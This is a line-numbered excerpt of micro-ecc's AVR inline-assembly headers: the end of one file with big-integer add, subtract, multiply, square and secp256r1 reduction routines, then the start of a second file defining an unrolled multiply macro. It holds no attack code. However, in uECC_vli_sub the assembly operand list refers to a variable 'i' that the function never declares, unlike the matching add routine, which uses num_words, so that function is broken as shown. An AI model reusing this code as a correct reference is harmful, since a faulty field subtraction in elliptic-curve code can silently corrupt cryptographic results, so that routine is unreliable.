541 "add r22, r19 \n\t"
542 "adc r23, r23 \n\t"
543 "st z+, r22 \n\t"
544 "ldi r22, 0 \n\t"
545
546 "add r23, r20 \n\t"
547 "adc r22, r22 \n\t"
548 "st z+, r23 \n\t"
549 "ldi r23, 0 \n\t"
550
551 "add r22, r21 \n\t"
552 "adc r23, r23 \n\t"
553 "st z+, r22 \n\t"
554 "st z+, r23 \n\t"
555 "eor r1, r1 \n\t" /* make r1 be 0 again */
556
557 "sbiw r30, 37 \n\t" /* move z back to point at tmp */
558 "subi r26, 64 \n\t" /* move x back to point at product */
559 "sbc r27, __zero_reg__ \n\t"
560
561 /* add low bytes of tmp to product, storing in result */
562 "ld r18, z+ \n\t"
563 "ld r19, x+ \n\t"
564 "add r18, r19 \n\t"
565 "st y+, r18 \n\t"
566 REPEAT(31,
567 "ld r18, z+ \n\t"
568 "ld r19, x+ \n\t"
569 "adc r18, r19 \n\t"
570 "st y+, r18 \n\t")
571
572 "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */
573 /* at this point x is at the end of product, y is at the end of result,
574 z is 32 bytes into tmp */
575 "sbiw r28, 32 \n\t" /* move y back to point at result */
576
577 /* do omega_mult again with the 5 relevant bytes */
578 /* z points to tmp + uECC_WORDS, x points to the end of product */
579 "sbiw r26, 32 \n\t" /* shift x back to point into the product buffer
580 (we can overwrite it now) */
581 "ld r18, z+ \n\t"
582 "ld r19, z+ \n\t"
583 "ld r20, z+ \n\t"
584 "ld r21, z+ \n\t"
585
586 "mul r24, r18 \n\t"
587 "st x+, r0 \n\t"
588 "mov r22, r1 \n\t"
589 "ldi r23, 0 \n\t"
590
591 "mul r24, r19 \n\t"
592 "add r22, r0 \n\t"
593 "adc r23, r1 \n\t" /* can't overflow */
594 "mul r25, r18 \n\t"
595 "add r22, r0 \n\t"
596 "adc r23, r1 \n\t" /* can't overflow */
597 "st x+, r22 \n\t"
598 "ldi r22, 0 \n\t"
599
600 "mul r24, r20 \n\t"
601 "add r23, r0 \n\t"
602 "adc r22, r1 \n\t"
603 "mul r25, r19 \n\t"
604 "add r23, r0 \n\t"
605 "adc r22, r1 \n\t"
606 "st x+, r23 \n\t"
607 "ldi r23, 0 \n\t"
608
609 "mul r24, r21 \n\t"
610 "add r22, r0 \n\t"
611 "adc r23, r1 \n\t"
612 "mul r25, r20 \n\t"
613 "add r22, r0 \n\t"
614 "adc r23, r1 \n\t"
615 "st x+, r22 \n\t"
616 "ldi r22, 0 \n\t"
617
618 "add r23, r18 \n\t"
619 "adc r22, r22 \n\t"
620 "ld r18, z+ \n\t"
621 "mul r24, r18 \n\t"
622 "add r23, r0 \n\t"
623 "adc r22, r1 \n\t"
624 "mul r25, r21 \n\t"
625 "add r23, r0 \n\t"
626 "adc r22, r1 \n\t"
627 "st x+, r23 \n\t"
628 "ldi r23, 0 \n\t"
629
630 /* Now finish the carries etc */
631 "add r22, r19 \n\t"
632 "adc r23, r23 \n\t"
633 "mul r25, r18 \n\t"
634 "add r22, r0 \n\t"
635 "adc r23, r1 \n\t"
636 "st x+, r22 \n\t"
637 "ldi r22, 0 \n\t"
638
639 "add r23, r20 \n\t"
640 "adc r22, r22 \n\t"
641 "st x+, r23 \n\t"
642 "ldi r23, 0 \n\t"
643
644 "add r22, r21 \n\t"
645 "adc r23, r23 \n\t"
646 "st x+, r22 \n\t"
647 "ldi r22, 0 \n\t"
648
649 "add r23, r18 \n\t"
650 "adc r22, r22 \n\t"
651 "st x+, r23 \n\t"
652 "st x+, r22 \n\t"
653 "eor r1, r1 \n\t" /* make r1 be 0 again */
654
655 /* now z points to the end of tmp, x points to the end of product
656 (y still points at result) */
657 "sbiw r26, 10 \n\t" /* move x back to point at beginning of actual data */
658 /* add into result */
659 "ld r18, x+ \n\t"
660 "ld r19, y \n\t"
661 "add r18, r19 \n\t"
662 "st y+, r18 \n\t"
663 REPEAT(9,
664 "ld r18, x+ \n\t"
665 "ld r19, y \n\t"
666 "adc r18, r19 \n\t"
667 "st y+, r18 \n\t")
668
669 /* Done adding, now propagate carry bit */
670 REPEAT(22,
671 "ld r18, y \n\t"
672 "adc r18, __zero_reg__ \n\t"
673 "st y+, r18 \n\t")
674
675 "adc %[carry], __zero_reg__ \n\t" /* Store carry bit (carry flag is cleared). */
676 "sbiw r28, 32 \n\t" /* move y back to point at result */
677
678 "sbiw r30, 1 \n\t" /* fix stack pointer */
679 "in r0, __SREG__ \n\t"
680 "cli \n\t"
681 "out __SP_H__, r31 \n\t"
682 "out __SREG__, r0 \n\t"
683 "out __SP_L__, r30 \n\t"
684
685 : "+x" (product), [carry] "+r" (carry)
686 : "y" (result)
687 : "r0", "r18", "r19", "r20", "r21", "r22", "r23", "r24", "r25", "r30", "r31", "cc", "memory"
688 );
689
690 if (carry > 0) {
691 --carry;
692 uECC_vli_sub(result, result, curve_secp256r1.p, 32);
693 }
694 if (carry > 0) {
695 uECC_vli_sub(result, result, curve_secp256r1.p, 32);
696 }
697 if (uECC_vli_cmp_unsafe(result, curve_secp256r1.p, 32) > 0) {
698 uECC_vli_sub(result, result, curve_secp256r1.p, 32);
699 }
700 }
701 #define asm_mmod_fast_secp256r1 1
702 #endif /* uECC_SUPPORTS_secp256r1 */
703
704 #endif /* (uECC_OPTIMIZATION_LEVEL >= 2) */
705
706 #if !asm_add
707 uECC_VLI_API uECC_word_t uECC_vli_add(uECC_word_t *result,
708 const uECC_word_t *left,
709 const uECC_word_t *right,
710 wordcount_t num_words) {
711 volatile uECC_word_t *r = result;
712 uint8_t carry = 0;
713 uint8_t left_byte;
714 uint8_t right_byte;
715
716 __asm__ volatile (
717 "clc \n\t"
718
719 "1: \n\t"
720 "ld %[left], x+ \n\t" /* Load left byte. */
721 "ld %[right], y+ \n\t" /* Load right byte. */
722 "adc %[left], %[right] \n\t" /* Add. */
723 "st z+, %[left] \n\t" /* Store the result. */
724 "dec %[i] \n\t"
725 "brne 1b \n\t"
726
727 "adc %[carry], %[carry] \n\t" /* Store carry bit. */
728
729 : "+z" (r), "+x" (left), "+y" (right), [i] "+r" (num_words),
730 [carry] "+r" (carry), [left] "=&r" (left_byte), [right] "=&r" (right_byte)
731 :
732 : "cc"
733 );
734 return carry;
735 }
736 #define asm_add 1
737 #endif
738
739 #if !asm_sub
740 uECC_VLI_API uECC_word_t uECC_vli_sub(uECC_word_t *result,
741 const uECC_word_t *left,
742 const uECC_word_t *right,
743 wordcount_t num_words) {
744 volatile uECC_word_t *r = result;
745 uint8_t borrow = 0;
746 uint8_t left_byte;
747 uint8_t right_byte;
748
749 __asm__ volatile (
750 "clc \n\t"
751
752 "1: \n\t"
753 "ld %[left], x+ \n\t" /* Load left byte. */
754 "ld %[right], y+ \n\t" /* Load right byte. */
755 "sbc %[left], %[right] \n\t" /* Subtract. */
756 "st z+, %[left] \n\t" /* Store the result. */
757 "dec %[i] \n\t"
758 "brne 1b \n\t"
759
760 "adc %[borrow], %[borrow] \n\t" /* Store carry bit in borrow. */
761
762 : "+z" (r), "+x" (left), "+y" (right), [i] "+r" (i),
763 [borrow] "+r" (borrow), [left] "=&r" (left_byte), [right] "=&r" (right_byte)
764 :
765 : "cc"
766 );
767 return borrow;
768 }
769 #define asm_sub 1
770 #endif
771
772 #if !asm_mult
773 __attribute((noinline))
774 uECC_VLI_API void uECC_vli_mult(uECC_word_t *result,
775 const uECC_word_t *left,
776 const uECC_word_t *right,
777 wordcount_t num_words) {
778 volatile uECC_word_t *r = result;
779 uint8_t r0 = 0;
780 uint8_t r1 = 0;
781 uint8_t r2 = 0;
782 uint8_t zero = 0;
783 uint8_t k, i;
784
785 __asm__ volatile (
786 "ldi %[k], 1 \n\t" /* k = 1; k < num_words; ++k */
787
788 "1: \n\t"
789 "ldi %[i], 0 \n\t" /* i = 0; i < k; ++i */
790
791 "add r28, %[k] \n\t" /* pre-add right ptr */
792 "adc r29, %[zero] \n\t"
793
794 "2: \n\t"
795 "ld r0, x+ \n\t"
796 "ld r1, -y \n\t"
797 "mul r0, r1 \n\t"
798
799 "add %[r0], r0 \n\t"
800 "adc %[r1], r1 \n\t"
801 "adc %[r2], %[zero] \n\t"
802
803 "inc %[i] \n\t"
804 "cp %[i], %[k] \n\t"
805 "brlo 2b \n\t" /* loop if i < k */
806
807 "sub r26, %[k] \n\t" /* fix up left ptr */
808 "sbc r27, %[zero] \n\t"
809
810 "st z+, %[r0] \n\t" /* Store the result. */
811 "mov %[r0], %[r1] \n\t"
812 "mov %[r1], %[r2] \n\t"
813 "mov %[r2], %[zero] \n\t"
814
815 "inc %[k] \n\t"
816 "cp %[k], %[num] \n\t"
817 "brlo 1b \n\t" /* loop if k < num_words */
818
819 /* second half */
820 "mov %[k], %[num] \n\t" /* k = num_words; k > 0; --k */
821 "add r28, %[num] \n\t" /* move right ptr to point at the end of right */
822 "adc r29, %[zero] \n\t"
823
824 "1: \n\t"
825 "ldi %[i], 0 \n\t" /* i = 0; i < k; ++i */
826
827 "2: \n\t"
828 "ld r0, x+ \n\t"
829 "ld r1, -y \n\t"
830 "mul r0, r1 \n\t"
831
832 "add %[r0], r0 \n\t"
833 "adc %[r1], r1 \n\t"
834 "adc %[r2], %[zero] \n\t"
835
836 "inc %[i] \n\t"
837 "cp %[i], %[k] \n\t"
838 "brlo 2b \n\t" /* loop if i < k */
839
840 "add r28, %[k] \n\t" /* fix up right ptr */
841 "adc r29, %[zero] \n\t"
842
843 "st z+, %[r0] \n\t" /* Store the result. */
844 "mov %[r0], %[r1] \n\t"
845 "mov %[r1], %[r2] \n\t"
846 "mov %[r2], %[zero] \n\t"
847
848 "dec %[k] \n\t"
849 "sub r26, %[k] \n\t" /* fix up left ptr (after k is decremented, so next time
850 we start 1 higher) */
851 "sbc r27, %[zero] \n\t"
852
853 "cp %[k], %[zero] \n\t"
854 "brne 1b \n\t" /* loop if k > 0 */
855
856 "st z+, %[r0] \n\t" /* Store last result byte. */
857 "eor r1, r1 \n\t" /* fix r1 to be 0 again */
858
859 : "+z" (result), "+x" (left), "+y" (right),
860 [r0] "+r" (r0), [r1] "+r" (r1), [r2] "+r" (r2),
861 [zero] "+r" (zero), [num] "+r" (num_words),
862 [k] "=&r" (k), [i] "=&r" (i)
863 :
864 : "r0", "cc"
865 );
866 }
867 #define asm_mult 1
868 #endif
869
870 #if (uECC_SQUARE_FUNC && !asm_square)
871 uECC_VLI_API void uECC_vli_square(uECC_word_t *result,
872 const uECC_word_t *left,
873 wordcount_t num_words) {
874 volatile uECC_word_t *r = result;
875 uint8_t r0 = 0;
876 uint8_t r1 = 0;
877 uint8_t r2 = 0;
878 uint8_t zero = 0;
879 uint8_t k;
880
881 __asm__ volatile (
882 "ldi %[k], 1 \n\t" /* k = 1; k < num_words * 2; ++k */
883
884 "1: \n\t"
885
886 "movw r26, %[orig] \n\t" /* copy orig ptr to 'left' ptr */
887 "movw r30, %[orig] \n\t" /* copy orig ptr to 'right' ptr */
888 "cp %[k], %[num] \n\t"
889 "brlo 2f \n\t"
890 "breq 2f \n\t"
891
892 /* when k > num_words, we start from (k - num_words) on the 'left' ptr */
893 "add r26, %[k] \n\t"
894 "adc r27, %[zero] \n\t"
895 "sub r26, %[num] \n\t"
896 "sbc r27, %[zero] \n\t"
897 "add r30, %[num] \n\t" /* move right ptr to point at the end */
898 "adc r31, %[zero] \n\t"
899 "rjmp 3f \n\t"
900
901 "2: \n\t" /* when k <= num_words, we add k to the 'right' ptr */
902 "add r30, %[k] \n\t" /* pre-add 'right' ptr */
903 "adc r31, %[zero] \n\t"
904
905 "3: \n\t"
906 "ld r0, x+ \n\t"
907 "cp r26, r30 \n\t" /* if left == right here, then we are done after this mult
908 (and we don't need to double) */
909 "breq 4f \n\t"
910 "ld r1, -z \n\t"
911 "mul r0, r1 \n\t"
912
913 /* add twice since it costs the same as doubling */
914 "add %[r0], r0 \n\t"
915 "adc %[r1], r1 \n\t"
916 "adc %[r2], %[zero] \n\t"
917 "add %[r0], r0 \n\t"
918 "adc %[r1], r1 \n\t"
919 "adc %[r2], %[zero] \n\t"
920
921 "cpse r26, r30 \n\t" /* if left == right here, then we are done */
922 "rjmp 3b \n\t"
923 "rjmp 5f \n\t" /* skip code for non-doubled mult */
924
925 "4: \n\t"
926 "ld r1, -z \n\t"
927 "mul r0, r1 \n\t"
928 "add %[r0], r0 \n\t"
929 "adc %[r1], r1 \n\t"
930 "adc %[r2], %[zero] \n\t"
931
932 "5: \n\t"
933 "movw r30, %[result] \n\t" /* make z point to result */
934 "st z+, %[r0] \n\t" /* Store the result. */
935 "movw %[result], r30 \n\t" /* update result ptr*/
936 "mov %[r0], %[r1] \n\t"
937 "mov %[r1], %[r2] \n\t"
938 "mov %[r2], %[zero] \n\t"
939
940 "inc %[k] \n\t"
941 "cp %[k], %[max] \n\t"
942 "brlo 1b \n\t" /* loop if k < num_words * 2 */
943
944 "movw r30, %[result] \n\t" /* make z point to result */
945 "st z+, %[r0] \n\t" /* Store last result byte. */
946 "eor r1, r1 \n\t" /* fix r1 to be 0 again */
947
948 : [result] "+r" (r),
949 [r0] "+r" (r0), [r1] "+r" (r1), [r2] "+r" (r2), [zero] "+r" (zero),
950 [k] "=&a" (k)
951 : [orig] "r" (left), [max] "r" ((uint8_t)(2 * num_words)),
952 [num] "r" (num_words)
953 : "r0", "r26", "r27", "r30", "r31", "cc"
954 );
955 }
956 #define asm_square 1
957 #endif /* uECC_SQUARE_FUNC && !asm_square */
958
959 #endif /* _UECC_ASM_AVR_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_ASM_AVR_MULT_SQUARE_H_
3 #define _UECC_ASM_AVR_MULT_SQUARE_H_
4
5 #define FAST_MULT_ASM_5 \
6 "adiw r30, 10 \n\t" \
7 "adiw r28, 10 \n\t" \
8 "ld r2, x+ \n\t" \
9 "ld r3, x+ \n\t" \
10 "ld r4, x+ \n\t" \
11 "ld r5, x+ \n\t" \
12 "ld r6, x+ \n\t" \
13 "ld r7, x+ \n\t" \
14 "ld r8, x+ \n\t" \
15 "ld r9, x+ \n\t" \
16 "ld r10, x+ \n\t" \
17 "ld r11, x+ \n\t" \
18 "ld r12, y+ \n\t" \
19 "ld r13, y+ \n\t" \
20 "ld r14, y+ \n\t" \
21 "ld r15, y+ \n\t" \
22 "ld r16, y+ \n\t" \
23 "ld r17, y+ \n\t" \
24 "ld r18, y+ \n\t" \
25 "ld r19, y+ \n\t" \
26 "ld r20, y+ \n\t" \
27 "ld r21, y+ \n\t" \
28 "ldi r25, 0 \n\t" \
29 \
30 "ldi r23, 0 \n\t" \
31 "mul r2, r12 \n\t" \
32 "st z+, r0 \n\t" \
33 "mov r22, r1 \n\t" \
34 \
35 "ldi r24, 0 \n\t" \
36 "mul r2, r13 \n\t" \
37 "add r22, r0 \n\t" \
38 "adc r23, r1 \n\t" \
39 "mul r3, r12 \n\t" \
40 "add r22, r0 \n\t" \
41 "adc r23, r1 \n\t" \
42 "adc r24, r25 \n\t" \
43 "st z+, r22 \n\t" \
44 \
45 "ldi r22, 0 \n\t" \
46 "mul r2, r14 \n\t" \
47 "add r23, r0 \n\t" \
48 "adc r24, r1 \n\t" \
49 "adc r22, r25 \n\t" \
50 "mul r3, r13 \n\t" \
51 "add r23, r0 \n\t" \
52 "adc r24, r1 \n\t" \
53 "adc r22, r25 \n\t" \
54 "mul r4, r12 \n\t" \
55 "add r23, r0 \n\t" \
56 "adc r24, r1 \n\t" \
57 "adc r22, r25 \n\t" \
58 "st z+, r23 \n\t" \
59 \
60 "ldi r23, 0 \n\t" \
61 "mul r2, r15 \n\t" \
62 "add r24, r0 \n\t" \
63 "adc r22, r1 \n\t" \
64 "adc r23, r25 \n\t" \
65 "mul r3, r14 \n\t" \
66 "add r24, r0 \n\t" \
67 "adc r22, r1 \n\t" \
68 "adc r23, r25 \n\t" \
69 "mul r4, r13 \n\t" \
70 "add r24, r0 \n\t" \
71 "adc r22, r1 \n\t" \
72 "adc r23, r25 \n\t" \
73 "mul r5, r12 \n\t" \
74 "add r24, r0 \n\t" \
75 "adc r22, r1 \n\t" \
76 "adc r23, r25 \n\t" \
77 "st z+, r24 \n\t" \
78 \
79 "ldi r24, 0 \n\t" \
80 "mul r2, r16 \n\t" \
81 "add r22, r0 \n\t" \
82 "adc r23, r1 \n\t" \
83 "adc r24, r25 \n\t" \
84 "mul r3, r15 \n\t" \
85 "add r22, r0 \n\t" \
86 "adc r23, r1 \n\t" \
87 "adc r24, r25 \n\t" \
88 "mul r4, r14 \n\t" \
89 "add r22, r0 \n\t" \
90 "adc r23, r1 \n\t" \
91 "adc r24, r25 \n\t" \
92 "mul r5, r13 \n\t" \
93 "add r22, r0 \n\t" \
94 "adc r23, r1 \n\t" \
95 "adc r24, r25 \n\t" \
96 "mul r6, r12 \n\t" \
97 "add r22, r0 \n\t" \
98 "adc r23, r1 \n\t" \
99 "adc r24, r25 \n\t" \
100 "st z+, r22 \n\t" \
101 \
102 "ldi r22, 0 \n\t" \
103 "mul r2, r17 \n\t" \
104 "add r23, r0 \n\t" \
105 "adc r24, r1 \n\t" \
106 "adc r22, r25 \n\t" \
107 "mul r3, r16 \n\t" \
108 "add r23, r0 \n\t" \
109 "adc r24, r1 \n\t" \
110 "adc r22, r25 \n\t" \
111 "mul r4, r15 \n\t" \
112 "add r23, r0 \n\t" \
113 "adc r24, r1 \n\t" \
114 "adc r22, r25 \n\t" \
115 "mul r5, r14 \n\t" \
116 "add r23, r0 \n\t" \
117 "adc r24, r1 \n\t" \
118 "adc r22, r25 \n\t" \
119 "mul r6, r13 \n\t" \
120 "add r23, r0 \n\t" \
121 "adc r24, r1 \n\t" \
122 "adc r22, r25 \n\t" \
123 "mul r7, r12 \n\t" \
124 "add r23, r0 \n\t" \
125 "adc r24, r1 \n\t" \
126 "adc r22, r25 \n\t" \
127 "st z+, r23 \n\t" \
128 \
129 "ldi r23, 0 \n\t" \
130 "mul r2, r18 \n\t" \
131 "add r24, r0 \n\t" \
132 "adc r22, r1 \n\t" \
133 "adc r23, r25 \n\t" \
134 "mul r3, r17 \n\t" \
135 "add r24, r0 \n\t" \
136 "adc r22, r1 \n\t" \
137 "adc r23, r25 \n\t" \
138 "mul r4, r16 \n\t" \
139 "add r24, r0 \n\t" \
140 "adc r22, r1 \n\t" \
141 "adc r23, r25 \n\t" \
142 "mul r5, r15 \n\t" \
143 "add r24, r0 \n\t" \
144 "adc r22, r1 \n\t" \
145 "adc r23, r25 \n\t" \
146 "mul r6, r14 \n\t" \
147 "add r24, r0 \n\t" \
148 "adc r22, r1 \n\t" \
149 "adc r23, r25 \n\t" \
150 "mul r7, r13 \n\t" \
151 "add r24, r0 \n\t" \
152 "adc r22, r1 \n\t" \
153 "adc r23, r25 \n\t" \
154 "mul r8, r12 \n\t" \
155 "add r24, r0 \n\t" \
156 "adc r22, r1 \n\t" \
157 "adc r23, r25 \n\t" \
158 "st z+, r24 \n\t" \
159 \
160 "ldi r24, 0 \n\t" \
161 "mul r2, r19 \n\t" \
162 "add r22, r0 \n\t" \
163 "adc r23, r1 \n\t" \
164 "adc r24, r25 \n\t" \
165 "mul r3, r18 \n\t" \
166 "add r22, r0 \n\t" \
167 "adc r23, r1 \n\t" \
168 "adc r24, r25 \n\t" \
169 "mul r4, r17 \n\t" \
170 "add r22, r0 \n\t" \
171 "adc r23, r1 \n\t" \
172 "adc r24, r25 \n\t" \
173 "mul r5, r16 \n\t" \
174 "add r22, r0 \n\t" \
175 "adc r23, r1 \n\t" \
176 "adc r24, r25 \n\t" \
177 "mul r6, r15 \n\t" \
178 "add r22, r0 \n\t" \
179 "adc r23, r1 \n\t" \
180 "adc r24, r25 \n\t" \
181 "mul r7, r14 \n\t" \
182 "add r22, r0 \n\t" \
183 "adc r23, r1 \n\t" \
184 "adc r24, r25 \n\t" \
185 "mul r8, r13 \n\t" \
186 "add r22, r0 \n\t" \
187 "adc r23, r1 \n\t" \
188 "adc r24, r25 \n\t" \
189 "mul r9, r12 \n\t" \
190 "add r22, r0 \n\t" \
191 "adc r23, r1 \n\t" \
192 "adc r24, r25 \n\t" \
193 "st z+, r22 \n\t" \
194 \
195 "ldi r22, 0 \n\t" \
196 "mul r2, r20 \n\t" \
197 "add r23, r0 \n\t" \
198 "adc r24, r1 \n\t" \
199 "adc r22, r25 \n\t" \
200 "mul r3, r19 \n\t" \
201 "add r23, r0 \n\t" \
202 "adc r24, r1 \n\t" \
203 "adc r22, r25 \n\t" \
204 "mul r4, r18 \n\t" \
205 "add r23, r0 \n\t" \
206 "adc r24, r1 \n\t" \
207 "adc r22, r25 \n\t" \
208 "mul r5, r17 \n\t" \
209 "add r23, r0 \n\t" \
210 "adc r24, r1 \n\t" \
211 "adc r22, r25 \n\t" \
212 "mul r6, r16 \n\t" \
213 "add r23, r0 \n\t" \
214 "adc r24, r1 \n\t" \
215 "adc r22, r25 \n\t" \
216 "mul r7, r15 \n\t" \
217 "add r23, r0 \n\t" \
218 "adc r24, r1 \n\t" \
219 "adc r22, r25 \n\t" \
220 "mul r8, r14 \n\t" \
221 "add r23, r0 \n\t" \
222 "adc r24, r1 \n\t" \
223 "adc r22, r25 \n\t" \
224 "mul r9, r13 \n\t" \
225 "add r23, r0 \n\t" \
226 "adc r24, r1 \n\t" \
227 "adc r22, r25 \n\t" \
228 "mul r10, r12 \n\t" \
229 "add r23, r0 \n\t" \
230 "adc r24, r1 \n\t" \
231 "adc r22, r25 \n\t" \
232 "st z+, r23 \n\t" \
233 \
234 "ldi r23, 0 \n\t" \
235 "mul r2, r21 \n\t" \
236 "add r24, r0 \n\t" \
237 "adc r22, r1 \n\t" \
238 "adc r23, r25 \n\t" \
239 "mul r3, r20 \n\t" \
240 "add r24, r0 \n\t" \
241 "adc r22, r1 \n\t" \
242 "adc r23, r25 \n\t" \
243 "mul r4, r19 \n\t" \
244 "add r24, r0 \n\t" \
245 "adc r22, r1 \n\t" \
246 "adc r23, r25 \n\t" \
247 "mul r5, r18 \n\t" \
248 "add r24, r0 \n\t" \
249 "adc r22, r1 \n\t" \
250 "adc r23, r25 \n\t" \
251 "mul r6, r17 \n\t" \
252 "add r24, r0 \n\t" \
253 "adc r22, r1 \n\t" \
254 "adc r23, r25 \n\t" \
255 "mul r7, r16 \n\t" \
256 "add r24, r0 \n\t" \
257 "adc r22, r1 \n\t" \
258 "adc r23, r25 \n\t" \
259 "mul r8, r15 \n\t" \
260 "add r24, r0 \n\t" \
261 "adc r22, r1 \n\t" \
262 "adc r23, r25 \n\t" \
263 "mul r9, r14 \n\t" \
264 "add r24, r0 \n\t" \
265 "adc r22, r1 \n\t" \
266 "adc r23, r25 \n\t" \
267 "mul r10, r13 \n\t" \
268 "add r24, r0 \n\t" \
269 "adc r22, r1 \n\t" \
270 "adc r23, r25 \n\t" \
271 "mul r11, r12 \n\t" \
272 "add r24, r0 \n\t" \
273 "adc r22, r1 \n\t" \
274 "adc r23, r25 \n\t" \
275 "st z+, r24 \n\t" \
276 \
277 "ldi r24, 0 \n\t" \
278 "mul r3, r21 \n\t" \
279 "add r22, r0 \n\t" \
280 "adc r23, r1 \n\t" \
281 "adc r24, r25 \n\t" \
282 "mul r4, r20 \n\t" \
283 "add r22, r0 \n\t" \
284 "adc r23, r1 \n\t" \
285 "adc r24, r25 \n\t" \
286 "mul r5, r19 \n\t" \
287 "add r22, r0 \n\t" \
288 "adc r23, r1 \n\t" \
289 "adc r24, r25 \n\t" \
290 "mul r6, r18 \n\t" \
291 "add r22, r0 \n\t" \
292 "adc r23, r1 \n\t" \
293 "adc r24, r25 \n\t" \
294 "mul r7, r17 \n\t" \
295 "add r22, r0 \n\t" \
296 "adc r23, r1 \n\t" \
297 "adc r24, r25 \n\t" \
298 "mul r8, r16 \n\t" \
299 "add r22, r0 \n\t" \
300 "adc r23, r1 \n\t" \
301 "adc r24, r25 \n\t" \
302 "mul r9, r15 \n\t" \
303 "add r22, r0 \n\t" \
304 "adc r23, r1 \n\t" \
305 "adc r24, r25 \n\t" \
306 "mul r10, r14 \n\t" \
307 "add r22, r0 \n\t" \
308 "adc r23, r1 \n\t" \
309 "adc r24, r25 \n\t" \
310 "mul r11, r13 \n\t" \
311 "add r22, r0 \n\t" \
312 "adc r23, r1 \n\t" \
313 "adc r24, r25 \n\t" \
314 "st z+, r22 \n\t" \
315 \
316 "ldi r22, 0 \n\t" \
317 "mul r4, r21 \n\t" \
318 "add r23, r0 \n\t" \
319 "adc r24, r1 \n\t" \
320 "adc r22, r25 \n\t" \
321 "mul r5, r20 \n\t" \
322 "add r23, r0 \n\t" \
323 "adc r24, r1 \n\t" \
324 "adc r22, r25 \n\t" \
325 "mul r6, r19 \n\t" \
326 "add r23, r0 \n\t" \
327 "adc r24, r1 \n\t" \
328 "adc r22, r25 \n\t" \
329 "mul r7, r18 \n\t" \
330 "add r23, r0 \n\t" \
331 "adc r24, r1 \n\t" \
332 "adc r22, r25 \n\t" \
333 "mul r8, r17 \n\t" \
334 "add r23, r0 \n\t" \
335 "adc r24, r1 \n\t" \
336 "adc r22, r25 \n\t" \
337 "mul r9, r16 \n\t" \
338 "add r23, r0 \n\t" \
339 "adc r24, r1 \n\t" \
340 "adc r22, r25 \n\t" \
341 "mul r10, r15 \n\t" \
342 "add r23, r0 \n\t" \
343 "adc r24, r1 \n\t" \
344 "adc r22, r25 \n\t" \
345 "mul r11, r14 \n\t" \
346 "add r23, r0 \n\t" \
347 "adc r24, r1 \n\t" \
348 "adc r22, r25 \n\t" \
349 "st z+, r23 \n\t" \
350 \
351 "ldi r23, 0 \n\t" \
352 "mul r5, r21 \n\t" \
353 "add r24, r0 \n\t" \
354 "adc r22, r1 \n\t" \
355 "adc r23, r25 \n\t" \
356 "mul r6, r20 \n\t" \
357 "add r24, r0 \n\t" \
358 "adc r22, r1 \n\t" \
359 "adc r23, r25 \n\t" \
360 "mul r7, r19 \n\t" \
361 "add r24, r0 \n\t" \
362 "adc r22, r1 \n\t" \
363 "adc r23, r25 \n\t" \
364 "mul r8, r18 \n\t" \
365 "add r24, r0 \n\t" \
366 "adc r22, r1 \n\t" \
367 "adc r23, r25 \n\t" \
368 "mul r9, r17 \n\t" \
369 "add r24, r0 \n\t" \
370 "adc r22, r1 \n\t" \
371 "adc r23, r25 \n\t" \
372 "mul r10, r16 \n\t" \
373 "add r24, r0 \n\t" \
374 "adc r22, r1 \n\t" \
375 "adc r23, r25 \n\t" \
376 "mul r11, r15 \n\t" \
377 "add r24, r0 \n\t" \
378 "adc r22, r1 \n\t" \
379 "adc r23, r25 \n\t" \
380 "st z+, r24 \n\t" \
381 \
382 "ldi r24, 0 \n\t" \
383 "mul r6, r21 \n\t" \
384 "add r22, r0 \n\t" \
385 "adc r23, r1 \n\t" \
386 "adc r24, r25 \n\t" \
387 "mul r7, r20 \n\t" \
388 "add r22, r0 \n\t" \
389 "adc r23, r1 \n\t" \
390 "adc r24, r25 \n\t" \
391 "mul r8, r19 \n\t" \
392 "add r22, r0 \n\t" \
393 "adc r23, r1 \n\t" \
394 "adc r24, r25 \n\t" \
395 "mul r9, r18 \n\t" \
396 "add r22, r0 \n\t" \
397 "adc r23, r1 \n\t" \
398 "adc r24, r25 \n\t" \
399 "mul r10, r17 \n\t" \
400 "add r22, r0 \n\t" \
401 "adc r23, r1 \n\t" \
402 "adc r24, r25 \n\t" \
403 "mul r11, r16 \n\t" \
404 "add r22, r0 \n\t" \
405 "adc r23, r1 \n\t" \
406 "adc r24, r25 \n\t" \
407 "st z+, r22 \n\t" \
408 \
409 "ldi r22, 0 \n\t" \
410 "mul r7, r21 \n\t" \
411 "add r23, r0 \n\t" \
412 "adc r24, r1 \n\t" \
413 "adc r22, r25 \n\t" \
414 "mul r8, r20 \n\t" \
415 "add r23, r0 \n\t" \
416 "adc r24, r1 \n\t" \
417 "adc r22, r25 \n\t" \
418 "mul r9, r19 \n\t" \
419 "add r23, r0 \n\t" \
420 "adc r24, r1 \n\t" \
421 "adc r22, r25 \n\t" \
422 "mul r10, r18 \n\t" \
423 "add r23, r0 \n\t" \
424 "adc r24, r1 \n\t" \
425 "adc r22, r25 \n\t" \
426 "mul r11, r17 \n\t" \
427 "add r23, r0 \n\t" \
428 "adc r24, r1 \n\t" \
429 "adc r22, r25 \n\t" \
430 "st z+, r23 \n\t" \
431 \
432 "ldi r23, 0 \n\t" \
433 "mul r8, r21 \n\t" \
434 "add r24, r0 \n\t" \
435 "adc r22, r1 \n\t" \
436 "adc r23, r25 \n\t" \
437 "mul r9, r20 \n\t" \
438 "add r24, r0 \n\t" \
439 "adc r22, r1 \n\t" \
440 "adc r23, r25 \n\t" \
441 "mul r10, r19 \n\t" \
442 "add r24, r0 \n\t" \
443 "adc r22, r1 \n\t" \
444 "adc r23, r25 \n\t" \
445 "mul r11, r18 \n\t" \
446 "add r24, r0 \n\t" \
447 "adc r22, r1 \n\t" \
448 "adc r23, r25 \n\t" \
449 "st z+, r24 \n\t" \
450 \
451 "ldi r24, 0 \n\t" \
452 "mul r9, r21 \n\t" \
453 "add r22, r0 \n\t" \
454 "adc r23, r1 \n\t" \
455 "adc r24, r25 \n\t" \
456 "mul r10, r20 \n\t" \
457 "add r22, r0 \n\t" \
458 "adc r23, r1 \n\t" \
459 "adc r24, r25 \n\t" \
460 "mul r11, r19 \n\t" \
461 "add r22, r0 \n\t" \
462 "adc r23, r1 \n\t" \
463 "adc r24, r25 \n\t" \
464 "st z+, r22 \n\t" \
465 \
466 "ldi r22, 0 \n\t" \
467 "mul r10, r21 \n\t" \
468 "add r23, r0 \n\t" \
469 "adc r24, r1 \n\t" \
470 "adc r22, r25 \n\t" \
471 "mul r11, r20 \n\t" \
472 "add r23, r0 \n\t" \
